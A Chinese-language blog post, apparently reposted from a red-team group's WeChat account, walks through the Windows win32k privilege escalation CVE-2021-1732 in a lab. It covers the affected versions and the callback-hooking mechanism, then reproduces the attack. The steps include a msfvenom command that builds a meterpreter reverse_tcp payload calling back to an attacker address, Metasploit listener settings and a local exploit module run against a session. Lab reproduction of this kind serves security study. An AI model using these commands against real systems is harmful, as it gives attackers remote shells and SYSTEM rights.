Windows本地提权漏洞(CVE-2021-1732)

admin 2022年4月26日06:48:56评论171 views字数 2665阅读8分53秒阅读模式

漏洞


Windows本地提权漏洞(CVE-2021-1732)
Windows本地提权漏洞(CVE-2021-1732)
01

 漏洞环境

  • 攻击机:192.168.75.195

  • 目标:192.168.75.250

  • 工具:exp,msf

  • 版本:Windows 10 Version 1909

Windows本地提权漏洞(CVE-2021-1732)
02

漏洞介绍

该漏洞由函数win32kfull!xxxCreateWi ndowEx 对应用层回调返回数据校验不严导致,本地用户执行漏洞利用程序获取系统权限。


Windows本地提权漏洞(CVE-2021-1732)
03

影响范围

  • Windows Server, version 20H2 (Server Core Installation)

  • Windows 10 Version 20H2 for ARM64-based Systems

  • Windows 10 Version 20H2 for 32-bit Systems

  • Windows 10 Version 20H2 for x64-based Systems

  • Windows Server, version 2004 (Server Core installation)

  • Windows 10 Version 2004 for x64-based Systems

  • Windows 10 Version 2004 for ARM64-based Systems

  • Windows 10 Version 2004 for 32-bit Systems

  • Windows Server, version 1909 (Server Core installation)

  • Windows 10 Version 1909 for ARM64-based Systems

  • Windows 10 Version 1909 for x64-based Systems

  • Windows 10 Version 1909 for 32-bit Systems

  • Windows Server 2019 (Server Core installation)

  • Windows Server 2019

  • Windows 10 Version 1809 for ARM64-based Systems

  • Windws 10 Version 1809 for x64-based Systems

  • Windows 10 Version 1809 for 32-bit Systems

  • Windows 10 Version 1803 for ARM64-based Systems

  • Windows 10 Version 1803 for x64-based Systems

  • Windows 10 Version 1803 for 32-bit Systems

Windows本地提权漏洞(CVE-2021-1732)
04

漏洞原理

1、Windows窗口创建(CreateWindowEx)过程中,当遇到窗口对象tagWND有扩展数据时(tagWND.cbwndExtra != 0),会通过nt!KeUserModeCallback回调机制调用用户态ntdll!_PEB.kernelCallbackTable(offset+0x58)里的函数:user3(敏感词)2!_xxxClientAllocWindowClassExtraBytes,从而在用户态通过系统堆分配器申请(RtlAllocateHeap)扩展数据的内存。通过在用户态hook user3(敏感词)2!_xxxClientAllocWindowClassExtraBytes函数,并在hook函数中手动修改窗口对象扩展数据的属性,可以破坏内核态为窗口对象扩展数据申请内存的原子操作,最终实现基于窗口对象扩展数据内存的越界读写能力。

2、当窗口的扩展数据大小tagWND.cbWndExtra不为0时,win32kfull!xxxCreateWindowEx 内部通过内核回调机制调用用户态user3(敏感词)2!_xxxClientAllocWindowClassExtraBytes函数,在用户空间申请窗口对象扩展数据所需内存,最终将指针返回给窗口对象的tagWND.pExtraBytes属性:

3、内核窗口对象tagWND的扩展数据有两种保存方式:

*保存于用户态系统堆*:即上图所示的正常流程,用户态系统堆申请的扩展数据内存指针直接保存于pExtraBytes。

4、基于用户态系统堆模式的一个tagWND内存布局如下图所示:

Windows本地提权漏洞(CVE-2021-1732)

5、保存于内核态桌面堆:函数NtUserConsoleControl调用会通过DesktopAlloc在内核态桌面堆分配内存,计算分配的扩展数据内存地址到桌面堆起始地址的偏移,保存在tagWND.pExtraBytes中,并修改tagWND.extraFlag |= 0x800:

Windows本地提权漏洞(CVE-2021-1732)

6、基于内核态桌面堆偏移模式的一个tagWND内存布局如下图所示:

Windows本地提权漏洞(CVE-2021-1732)

7、因此可以通过hook回调user3(敏感词)2!_xxxClientAllocWindowClassExtraBytes,在回调期间手动调用NtUserConsoleControl修改tagWND的扩展数据保存方式。然后在回调返回前手动调用ntdll!NtCallbackReturn:

Windows本地提权漏洞(CVE-2021-1732)

8、通过ntdll!NtCallbackReturn返回用户态可控offset值至tagWND.pExtraBytes,最终实现基于内核态桌面堆起始地址的可控offset越界读写能力。


Windows本地提权漏洞(CVE-2021-1732)
05

漏洞复现

1、exp存放在misc下,直接普通用户打开cmd命令,输入exp提权。

exp: cve-2021-1732.exe   whoami

Windows本地提权漏洞(CVE-2021-1732)

2、使用msf提权,首先使用kali生成木马。

msf:  msfvenom -p windows/x64/meterpreter/reverse_tcp  LHOST=192.168.75.195  LPORT=4444 -f exe > she.exe

Windows本地提权漏洞(CVE-2021-1732)

3、将木马上传到目标机然后msf设置监听。

use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcpset lhost 192.168.75.195set lport 4444run

Windows本地提权漏洞(CVE-2021-1732)

4、查看当前的用户权限为普通的用户权限。

Windows本地提权漏洞(CVE-2021-1732)

5、然后把session放后台运行,同时使用cve_2021_1732_win32k模块完成提权。

background use exploit/windows/local/cve_2021_1732_win32k set session 2run

Windows本地提权漏洞(CVE-2021-1732)

Windows本地提权漏洞(CVE-2021-1732)

Windows本地提权漏洞(CVE-2021-1732)

           团队介绍

银河护卫队super,是一个致力于红队攻防实战、内网渗透、代码审计、安卓逆向、安全运维等技术干货分享的队伍,定期分享常用渗透工具、复现教程等资源。欢迎有想法、乐于分享的具备互联网分享精神的安全人士进行交流学习。
Windows本地提权漏洞(CVE-2021-1732)

点击关注银河护卫队super

原文始发于微信公众号(银河护卫队super):Windows本地提权漏洞(CVE-2021-1732)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月26日06:48:56
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Windows本地提权漏洞(CVE-2021-1732)http://cn-sec.com/archives/763616.html

发表评论

匿名网友 填写信息